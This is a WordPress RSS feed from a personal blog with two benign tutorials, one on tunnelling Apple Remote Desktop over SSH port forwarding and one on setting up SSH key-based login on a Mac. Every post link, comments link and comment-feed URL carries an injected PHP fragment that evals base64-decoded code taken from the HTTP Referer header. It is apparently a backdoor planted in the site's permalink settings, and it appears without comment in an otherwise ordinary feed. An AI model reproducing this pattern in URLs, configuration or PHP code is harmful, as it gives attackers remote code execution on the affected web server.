<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; ssh</title>
	<atom:link href="http://www.jessecole.org/tag/ssh/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Remote Desktop over ssh tunnel</title>
		<link>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 17:41:00 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[10.5]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=146</guid>
		<description><![CDATA[This is a quick little post to show off some of the capabilities of an ssh tunnel. So, the back story. Earlier today, i was having a problem. There is a server on lcsd2.org that i needed gui (Apple Remote Desktop) access to. In the past, there is an ipsec based vpn i could use [...]]]></description>
			<content:encoded><![CDATA[<p>This is a quick little post to show off some of the capabilities of an ssh tunnel.  So, the back story.  Earlier today, i was having a problem.  There is a server on lcsd2.org that i needed gui (Apple Remote Desktop) access to.  In the past, there is an ipsec based vpn i could use that was as simple as a single mouse click.  Unfortunately, UW has decided, for whatever reason, that outbound ipsec tunnels shouldn&#8217;t be allowed.  I can&#8217;t connect.  However, i do have ssh access to a server on the inside of the network, and thats how this works.<span id="more-146"></span></p>
<p>So, to start you need ssh access to a server on the network you want access to.  Check</p>
<p>Now you need to know the port of the service on the remote machine you need access to.ARD uses port 5900 for control/observe.  Check.</p>
<p>Now, you just need to forward the port like so</p>
<pre>ssh -L 9999/10.1.32.25/5900 helios.lcsd2.org</pre>
<p>I&#8217;ll break that down a bit.</p>
<pre>-L 9999/10.1.32.25/5900</pre>
<p>The -L requests that port 9999 on the local machine be bound to a secure tunnel over ssh to the remote machine.  10.1.32.25 is the machine that i am trying to access ultimately and 5900 is the port that i want.</p>
<pre>helios.lcsd2.org</pre>
<p>This is the remote machine i am ssh&#8217;ing to.  This is the one i have access to outside the network that i use to connect to the computer i want access to inside the network.</p>
<p>So, to recap.  I establish a secure connection to helios.lcsd2.org.  I choose a local port on the local machine that i want to use to access that secure tunnel.  I choose the machine and the port and the end of the tunnel that i want access to.  Now all thats left is to connect.</p>
<p>I am assuming here that you are running leopard.  In Finder, go to the &#8220;Go&#8221; menu and choose &#8220;Connect to Server&#8221;</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server.png"><img class="alignnone size-thumbnail wp-image-148" title="connect-to-server" src="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-108x150.png" alt="connect-to-server" width="108" height="150" /></a></p>
<p>Now, in the &#8220;Connect to Server&#8221; box, enter vnc://localhost:9999.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-2.png"><img class="alignnone size-thumbnail wp-image-149" title="connect-to-server-2" src="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-2-150x100.png" alt="connect-to-server-2" width="150" height="100" /></a></p>
<p>Now, if all is well, you should see a prompt asking for a username and password on the remote machine.  Just enter in your credentials and your done!  You should now see the screen of the remote machine and have full access to it.</p>
<p>I should point out that this basic technique can applied to just about anything.  I used to use it to access my router configuration page when i was away.  Just change the ip address to the router and the port to 80 and your good.  You could also use this to access internal websites at your company, school, whatever.</p>
<p>Enjoy!  Please leave a comment if this was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ssh key-based authentication.</title>
		<link>http://www.jessecole.org/2007/08/20/ssh-key-based-authentication-wip/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2007/08/20/ssh-key-based-authentication-wip/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 21 Aug 2007 01:57:33 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://jesses-ubuntu-pc.local/?p=4</guid>
		<description><![CDATA[This is a guide for setting up key-based authentication on the mac. Key-based authentication is an alternative way of authenticating over ssh. Instead of a user name and password, you use a public/private key pair and authenticate this way. A user can optionally be specified as well. To begin you’ll need to open Terminal.app in [...]]]></description>
			<content:encoded><![CDATA[<p>This is a guide for setting up key-based authentication on the mac.</p>
<p>Key-based authentication is an alternative way of authenticating over ssh. Instead of a user name and password, you use a public/private key pair and authenticate this way. A user can optionally be specified as well.</p>
<p>To begin you’ll need to open Terminal.app in your Applications/Utilities folder.</p>
<p>Issue the following command into terminal:</p>
<pre>mkdir ~/.ssh</pre>
<p><span id="more-4"></span>This creates the necessary directory to hold your key.</p>
<p>Now navigate to the directory</p>
<pre>cd ~/.ssh</pre>
<p>In this directory issue the following command</p>
<pre>ssh-keygen</pre>
<p>Press enter at every prompt, you should see something similiar to this:</p>
<pre>Jesse-Coles-MacBookPro:~/.ssh a$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/a/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /Users/a/.ssh/id_rsa.
Your public key has been saved in /Users/a/.ssh/id_rsa.pub.
The key fingerprint is:
66:e2:df:a0:09:dd:41:aa:4b:d4:6f:f3:22:b3:a2:b4 a@Jesse-Coles-MacBookPro.local</pre>
<p>The next step is to copy the public key to the remote machine. First though, the directory must be created.</p>
<p>Initiate an ssh connection to the remote machine.</p>
<pre>ssh user@host</pre>
<p>Enter your password like usual.</p>
<p>Next create the .ssh on the remote machine.</p>
<pre>mkdir ~/.ssh</pre>
<p>Now end the connection so you can copy the file to the remote machine.</p>
<pre>exit</pre>
<p>And copy the id_rsa.pub file to the remote machine</p>
<pre>scp id_rsa.pub @:~/.ssh/new.pub</pre>
<p>Notice i named the destiation file new.pub, this is so that if the destination machine already has key-based authentication already set up, you won’t overwrite its public key.</p>
<p>Now you need to initiate another ssh connection the the remote machine. This will be the last time you type your password for ssh.</p>
<pre>ssh user@host</pre>
<p>Now copy your public key to the users list of authorized keys</p>
<pre>cat ~/.ssh/new.pub &gt;&gt; ~/.ssh/authorized_keys
exit</pre>
<p>Your done!</p>
<p>From now on when you ssh to the remote machine, you will not be prompted for you password.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2007/08/20/ssh-key-based-authentication-wip/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
